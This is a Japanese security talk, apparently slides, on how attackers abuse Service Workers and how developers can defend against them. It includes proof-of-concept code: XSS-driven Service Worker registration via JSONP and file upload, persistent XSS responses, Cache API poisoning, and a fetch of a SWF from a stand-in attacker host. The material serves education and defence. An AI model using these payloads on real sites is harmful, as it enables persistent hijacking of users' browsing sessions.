攻撃者視点で見る Service Worker

2017/9/14 PWA Study

Masato Kinugawa

自己紹介

Masato Kinugawa です。

Cure53 という会社で脆弱性診断をしています。

XSS 脆弱性が好きです。

Browser's XSS Filter Bypass Cheat Sheet
https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet

今日のはなし

[攻撃] 攻撃者はService Workerを使って何ができる？

- SWを登録して攻撃
- アプリが使っているSWを攻撃

[防御] (それに対し)アプリ開発者はどう守る？

SWの登録

```
<script>
  navigator.serviceWorker.register("/sw.js")
</script>
```

SWのスクリプトは次を満たす必要がある

- 登録操作をするページと**同じオリジン**にある
- **Secure Context**で実行されている
- **Content-TypeがJavaScript**のもの(現行では以下のいずれか)

  text/javascript
  application/x-javascript
  application/javascript

Secure Context

- **安全な経路経由**(https: など)か**ローカル**(http://localhost/ など) で実行されている状態を指す
- MITM Attackで悪用されないことを保証するための制限
  例：信頼できないカフェのネットでSWが登録され、家に帰ったあともページをコントロールされ続けたら怖い
- 強力な操作ができるその他のAPIでも同様にSecure Contextの実行制限を課しているものがある
  Geolocation API
  WebUSB API
  カメラやマイクへのアクセスなど

Application Cacheは…

- SWの前身のキャッシュを作れるAPI(廃止予定)
  制御に難ありで、AppCacheを置き換える形で登場したのがSW
- Secure Context の実行制限**なし**
  信頼できないカフェのネットから変なページを送りこまれて、
  家に帰っても表示され続けるようなことが実際にありうる

Application Cacheの闇はこちら：

攻撃シナリオを使って解説するApplicationCacheのキャッシュポイズニング by @kyo_ago
https://html5experts.jp/kyo_ago/5153/

Exploiting the unexploitable with lesser known browser tricks by @filedescriptor
https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks?slide=23

攻撃者がSWを使うには？

httpsなサイトの同じオリジン上で

1. **XSS**をみつける
2. **SWのスクリプトになりうる箇所**をみつける

Content-TypeがJavaScriptで任意のスクリプトを書けるところ。
そんな都合のいい場所ある…？ 🤔

都合のいい場所１：JSONP

callback関数名を指定でき、使える文字に制限がない場合、
任意のスクリプトが書ける！

https://example.com/jsonp?callback=alert(1)//

```
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
[...]

alert(1)//({});
```

XSS×JSONPでSW登録の例

https://example.com/xss?q=<script>navigator.serviceWorker [...]

```
<script>
navigator.serviceWorker.register("/jsonp?callback=[SW_HERE]//");
</script>
```

https://example.com/jsonp?q=onfetch=e=>console.log('fetch')//

```
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
[...]

onfetch=event=>console.log('fetch')//({});
```

都合のいい場所2：ファイルアップロード

JavaScriptファイルのアップロードを許しており、

Content-TypeがJavaScriptで返ってくる場合に可

XSSでSWをアップロード＆登録というシナリオも：

```
<script>
var formData = new FormData();
formData.append("csrf_token", "secret");
var sw = "/* [SW_CODE] */";
var blob = new Blob([sw], { type: "text/javascript"});
formData.append("file", blob, "sw.js");
fetch("/upload", {method: "POST", body: formData})
.then(/* Register SW */);
</script>
```

登録できるとどうなる？

強力なページのコントロールが可能

- XSSの永続化
  登録に使われたXSSが修正されてもまだスクリプトが動かせる
- リクエスト/レスポンス内容の盗聴・変更
  Flashを使った悪用
  (Foreign Fetchが登場していたら)別オリジンでもXSS?!

XSSの永続化

Reflected XSSがStored XSS以上のものに変化

- スコープ内の全てのページが常にStored状態になるようなもの
- SWの登録が解除されるまで続く

スコープ内のURLにアクセスすると常にalertを実行する例：

```
onfetch=e=>{
   body = '<script>alert(1)</script>';
   init = {headers: {'content-type': 'text/html'}};
   e.respondWith(new Response(body,init));
}
```

SWのスコープ -1

- スコープ = SWがコントロールできる範囲
- スコープはディレクトリで区切られる
  スコープより上か同階層の別ディレクトリはコントロール不可
  自身の階層と下の階層はコントロール可
- SW登録時に第二引数で指定できる
  省略するとスクリプトURLの最下層のディレクトリがスコープとなる

```
<script>
  navigator.serviceWorker.register("/sw.js", {scope: "/"})
</script>
```

SWのスコープ -2

- 同じオリジンのみ指定可
- スクリプトURL以下のパスのみがスコープになれる
  (Service-Worker-Allowedヘッダを吐かない限り)

```
✕ "/assets/js/sw.js", {scope: "https://other.example.com/"}
✕ "/assets/js/sw.js", {scope: "/assets/"}
✕ "/assets/js/sw.js", {scope: "/assets/css/"}
◯ "/assets/js/sw.js", {scope: "/assets/js/"}
◯ "/assets/js/sw.js", {scope: "/assets/js/sub/"}
```

Service-Worker-Allowedヘッダ

SWのスクリプト登録時のレスポンスヘッダで以下のように返すと、スコープを広げて登録できる

```
HTTP/1.1 200 OK
content-type: text/javascript
service-worker-allowed: /
[...]
```

この場合 /assets/js/sw.js にあっても、 / をスコープにできる

スコープのちょっと面白い話

サーバの設定によってはスラッシュをエンコードしてもそのままアクセスできる場合がある

```
https://example.com/api/jsonp
https://example.com/api%2Fjsonp
```

エンコードしたパスをSWとして登録すれば、
サーバ次第ではルートディレクトリまでスコープを拡大してSWを登録できる？！

仕様で禁止されてる！

%2F (/) や **%5C (\ )** がパスに含まれているとSWの登録を拒否することになっている

> If any of the strings in scriptURL's path contains either ASCII case-insensitive "%2f" or ASCII case-insensitive "%5c", reject p with a TypeError and abort these steps.
>
> https://www.w3.org/TR/service-workers-1/#navigator-service-worker-register

登録後のスコープはどうなのか

サーバの設定によっては次のURLで同じページを返すことがある

```
https://example.com/out-of-scope/
https://example.com/foo/..%2Fout-of-scope%2F
```

このとき、 /foo/ をスコープにしたSWが登録されている場合、
/foo/..%2Fout-of-scope%2F にアクセスすると… → **SWは起動**する

➡正規に登録されたSWが期待しないページをハンドルさせられて
予想外のことが起こるかもしれない？

24時間で再取得の仕様

前回のSWの取得から24時間以上経っていると、SW起動時に
HTTPキャッシュを無視してスクリプトを再取得する仕様がある

これをみて思った

SWを再取得できなければ、元のSWは破棄されるのかも？
(もしそうなら)不正なSWを登録されても、SWになる部分を
パッチすれば24時間経てば消える？

24時間で再取得の検証

SW登録後、PCの時計をすすめて動作を検証

- 確かに24時間以上で再取得が起きる(Chrome/Firefox)
- 404などで取得できなければ**元のSWを使い続ける**
- 不正なSWを登録できる箇所を塞いでも、一度登録されたSWは動き続けてしまう

➡この動作は攻撃の永続化を防ぐ助けにならない

(この動作は古いキャッシュのSWをいつまでも使い続けないようにするためにあるらしい)

XSS×SW×Flash

- Flashレスポンスを返せば**そのオリジンの権限で動くFlash**が作れる
  現在はFirefoxのみ可能
  (ChromeはFlashを直接開くとダウンロードが起こる)

Flashレスポンスを返すSWの例：

```
onfetch=e=>{
  e.respondWith(fetch("//attacker/poc.swf"))
}
```

Flashが返ると何がうれしいか？➡

Flashのcrossdomain.xml

次の https://example.com/crossdomain.xml があるとき

```
<?xml version="1.0"?>
<cross-domain-policy>
    <allow-access-from domain="example.jp" />
</cross-domain-policy>
```

example.jpに置かれたFlashからexample.comのページの読み取りが許可される

➡ example.jp でSWでFlashが作れるとき、example.comの読み取りが可能に！

昨年のCure53 XSSMas Challengeでも出題した動作、だけど…

https://github.com/cure53/XSSChallengeWiki/wiki/XSSMas-Challenge-2016

仕様違反(脆弱性)？

> **Plug-ins should not load via service workers.** As plug-ins may get their security origins from their own urls, the embedding service worker cannot handle it. For this reason, the Handle Fetch algorithm makes the potential-navigation-or-subresource request (whose context is either <embed> or <object>) immediately fallback to the network without dispatching fetch event.
>
> https://www.w3.org/TR/service-workers-1/#implementer-concerns

<embed>/<object>のFetchについて具体的に書かれているが、

ダイレクトにプラグインのリソースを表示する場合も

禁止の意図を汲み取れば禁止されるべきに思える

(ちなみに <embed>/<object> からロードする場合は確かにFetchイベントは起きなかった)

Foreign Fetch

別オリジンに埋め込まれた画像やスクリプト自身がSWで反応できる

例：https://example.jp/ に以下があるとき、

```
<script src="//example.com/socialbutton.js"></script>
```

example.com の SW はForeign Fetchで
example.jp からロードされる
socialbutton.jsの内容を改変したりできる…！？

Foreign Fetch→外部サイトでXSS?!

以下で別オリジンに埋め込まれたスクリプトから確かにalertを返せた
(2月の時点のCanaryのOrigin Trialsで確認)

```
self.addEventListener('install', e => {
    e.registerForeignFetch({
        scopes: ['/'],
        origins: ['*']//全ての別オリジンからのアクセスでSWを動作させる
    });
});
onforeignfetch = e => {
    e.respondWith(fetch(e.request).then(res => ({
        response: new Response('alert(1)')// alert(1) で応答
    })))
}
```

夢が広がる！と思ったけど廃止予定らしい

https://github.com/w3c/ServiceWorker/issues/1188

SWが扱うCache

- SWのキャッシュ(Cache APIのキャッシュ) ≠ HTTPキャッシュ
- スクリプトがあって初めてキャッシュが返る

  HTTPキャッシュのようにURLへのアクセスだけでキャッシュが勝手に返ってくる性質のものではない

正規に登録されたSWの悪用

```
onfetch = event => {
 event.respondWith(
  caches.open("v1").then(function(cache) {
   return cache.match(event.request).then(function(response) {
    if (response) {
     return response;// キャッシュあり
    } else {
     return fetch(event.request.clone()).then(function(response) {
      cache.put(event.request, response.clone());// キャッシュ保存
      return response;
    });
    }
   })
  })
 );
};
```

fetchされたURLのキャッシュがあれば

キャッシュを常に返すようなSWがあるとき、

正規に登録されたSWの悪用

XSSを使ってキャッシュにrequest/responseを追加

poison.html にアクセスするとalertを実行するページを返す例：

```
<script>
caches.open("v1").then(function(cache){
  content  = "<script>alert(1)</script>";
  init     = {headers: {"content-type": "text/html"}};
  request  = new Request("poison.html");
  response = new Response(content, init);
  cache.put(request, response);
})
</script>
```

➡SWを登録できなくても

XSSの永続化やFlashのロードが可能な場合がある

比較: localStorageのXSS

通常の利用では任意のHTMLタグが設定されないおかげで
XSSにならないこんなコードがある状態に近い？

```
<script>
  document.write(localStorage.getItem('name'));
</script>
```

🤔

(localStorageはエスケープで対処できるだろうが、
SWが扱うキャッシュはどうするのが安全なんだろう？
定期的にキャッシュをクリアするくらいしかない？)

補足：
Cookieを書き出すケースでは、サブドメインのXSSや非SSLページからSSLページへの注入がありうるため、通常の利用でHTMLタグが設定されなくても、攻撃の危険度は十分に高い。

SWを削除する方法

1. JavaScriptで削除
2. Clear-Site-Dataヘッダで削除
3. 手動で削除(以下はChromeの場合)
   - chrome://serviceworker-internals (Cache Storageのデータは消せない)
   - 開発者ツール -> Applicationタブ -> Clear Storage
   - chrome://settings/clearBrowserData から「Cookie と他のサイト データ」を消す

Clear-Site-Dataヘッダ

- そのオリジンに登録されたCookieやストレージなどをごっそり削除する機能
  例： Clear-Site-Data: "cookies" でそのオリジンのCookieを全部削除
- Chrome 61(現時点の安定版)で既に使える

以下でSWとCache Storageが削除されるのを確認：

```
HTTP/1.1 200 OK
Content-Type:text/html
Clear-Site-Data: "storage"
```

SWの登録をどう防ぐ？

SWの登録時は次のリクエストヘッダが必ず追加される

```
GET https://example.com/sw.js HTTP/1.1
Host: example.com
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/61.0.3163.79 Safari/537.36
Accept: */*
Service-Worker: script
Referer: https://example.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: ja,en;q=0.8,en-US;q=0.6
```

➡**S-W: script ヘッダを含むリクエストを拒否**すれば対策できる

まとめ

- SWはXSSの攻撃の可能性を広げる
  - XSSの永続化
  - Flashによる攻撃
  - SWのキャッシュに関する問題
- SWに関連する攻撃からアプリを守るために
  - **基本的なXSS対策を徹底**しよう
  - SWのスクリプトでないリソース(特にJSONP、ファイルアップロード)に対するService-Worker: script リクエストヘッダ付きのリクエストを拒否しよう

参考資料

資料を作成するにあたり、以下の資料を特に参考にさせて頂きました。

ありがとうございます。

sirdarckcat: [Service Workers] New APIs = New Vulns = Fun++

https://sirdarckcat.blogspot.jp/2015/05/service-workers-new-apis-new-vulns-fun.html

ep17 Service Worker | mozaic.fm

https://mozaic.fm/episodes/17/service-worker.html

Service worker が拓く mobile web の新しいかたち

https://www.slideshare.net/kinukox/service-worker-mobile-web

Thanks!

@kinugawamasato